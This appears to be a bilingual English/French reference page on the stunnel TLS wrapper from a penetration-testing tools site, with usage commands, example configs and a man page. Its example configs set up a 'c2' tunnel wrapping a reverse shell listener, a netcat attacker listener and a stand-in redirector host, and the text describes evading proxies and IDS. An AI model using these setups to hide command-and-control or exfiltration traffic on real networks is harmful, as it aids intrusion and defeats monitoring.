retour aux outils back to tools Ducklings

stunnel

Enveloppe des connexions TCP arbitraires dans un tunnel SSL/TLS, permettant à des services en clair de communiquer de manière sécurisée ou de contourner des filtres qui inspectent le trafic non chiffré. Wraps arbitrary TCP connections in an SSL/TLS tunnel, letting plaintext services communicate securely or slip past filters that inspect unencrypted traffic.

↗ https://www.stunnel.org

Overview

stunnel is a general-purpose TLS wrapper: it adds SSL/TLS encryption to any plain TCP service without requiring the service itself to support it. On engagements it’s used both defensively (securing a plaintext admin protocol during a test) and offensively (wrapping C2 or exfiltration traffic in TLS to blend in with normal HTTPS and defeat plaintext-inspecting proxies/IDS).

Common Usage

Run with a config file (typical usage)

stunnel /etc/stunnel/stunnel.conf

Foreground mode with debug output, useful while testing

stunnel -fd /etc/stunnel/stunnel.conf

Generate a self-signed cert for testing

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

Example config — client side (wrap a reverse shell listener in TLS)

; stunnel-client.conf
client = yes
[c2]
accept = 127.0.0.1:4444
connect = redirector.example.com:443
verify = 0

Example config — server side

; stunnel-server.conf
cert = /etc/stunnel/cert.pem
key = /etc/stunnel/key.pem

[c2]
accept = 443
connect = 127.0.0.1:4444

# Attacker box: wrap netcat listener behind stunnel
nc -lvnp 4444 &
stunnel stunnel-server.conf

# Implant/beacon connects via TLS on 443, stunnel forwards plaintext to nc

Tips

Pairs well with sslh when you also need to multiplex other protocols on the same port.
verify = 2 on the client enforces certificate validation — set it when you actually need integrity, not just obfuscation.
Traffic still looks like TLS on the wire (SNI, JA3 fingerprint) — it won’t defeat deep TLS fingerprinting, only plaintext-based inspection.

Help / Man page

stunnel [<filename>] | -fd n | -help | -version | -sockets

  <filename>    Use specified config file
  -fd n         Use specified file descriptor for config
  -help         Print help and exit
  -version      Print version and defaults, then exit
  -sockets      Print default socket options

CONFIG DIRECTIVES (per-service section [name]):
  accept = [host:]port     Address to accept connections on
  connect = host:port       Address to forward decrypted traffic to
  cert = file                Certificate for this service
  key = file                  Private key for this service
  client = yes|no             Client mode (initiate TLS) vs server mode
  verify = level               0=none 1=optional 2=require peer cert
  TIMEOUTclose = seconds        Close idle sessions after timeout

Vue d’ensemble

stunnel est un wrapper TLS généraliste : il ajoute le chiffrement SSL/TLS à n’importe quel service TCP en clair sans que le service lui-même ait besoin de le supporter. En mission, il est utilisé à la fois de manière défensive (sécuriser un protocole d’administration en clair pendant un test) et offensive (envelopper du trafic C2 ou d’exfiltration en TLS pour se fondre dans du HTTPS normal et contourner les proxys/IDS qui inspectent le trafic en clair).

Utilisation courante

# Lancer avec un fichier de config (utilisation typique)
stunnel /etc/stunnel/stunnel.conf

# Mode premier plan avec sortie de débogage, utile pendant les tests
stunnel -fd /etc/stunnel/stunnel.conf

# Générer un certificat auto-signé pour les tests
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

Exemple de config : côté client (envelopper un listener de reverse shell en TLS)

; stunnel-client.conf
client = yes
[c2]
accept = 127.0.0.1:4444
connect = redirector.example.com:443
verify = 0

Exemple de config : côté serveur

; stunnel-server.conf
cert = /etc/stunnel/cert.pem
key = /etc/stunnel/key.pem

[c2]
accept = 443
connect = 127.0.0.1:4444

# Machine attaquante : envelopper un listener netcat derrière stunnel
nc -lvnp 4444 &
stunnel stunnel-server.conf

# L'implant/beacon se connecte via TLS sur le 443, stunnel transmet en clair vers nc

Conseils

Se combine bien avec sslh quand il faut aussi multiplexer d’autres protocoles sur le même port
verify = 2 côté client impose la validation de certificat : à activer quand on a réellement besoin d’intégrité, pas seulement d’obfuscation
Le trafic ressemble toujours à du TLS sur le fil (SNI, empreinte JA3) : cela ne déjouera pas un fingerprinting TLS approfondi, seulement une inspection basée sur le contenu en clair

Aide / Page de manuel

stunnel [<filename>] | -fd n | -help | -version | -sockets

  <filename>    Use specified config file
  -fd n         Use specified file descriptor for config
  -help         Print help and exit
  -version      Print version and defaults, then exit
  -sockets      Print default socket options

CONFIG DIRECTIVES (per-service section [name]):
  accept = [host:]port     Address to accept connections on
  connect = host:port       Address to forward decrypted traffic to
  cert = file                Certificate for this service
  key = file                  Private key for this service
  client = yes|no             Client mode (initiate TLS) vs server mode
  verify = level               0=none 1=optional 2=require peer cert
  TIMEOUTclose = seconds        Close idle sessions after timeout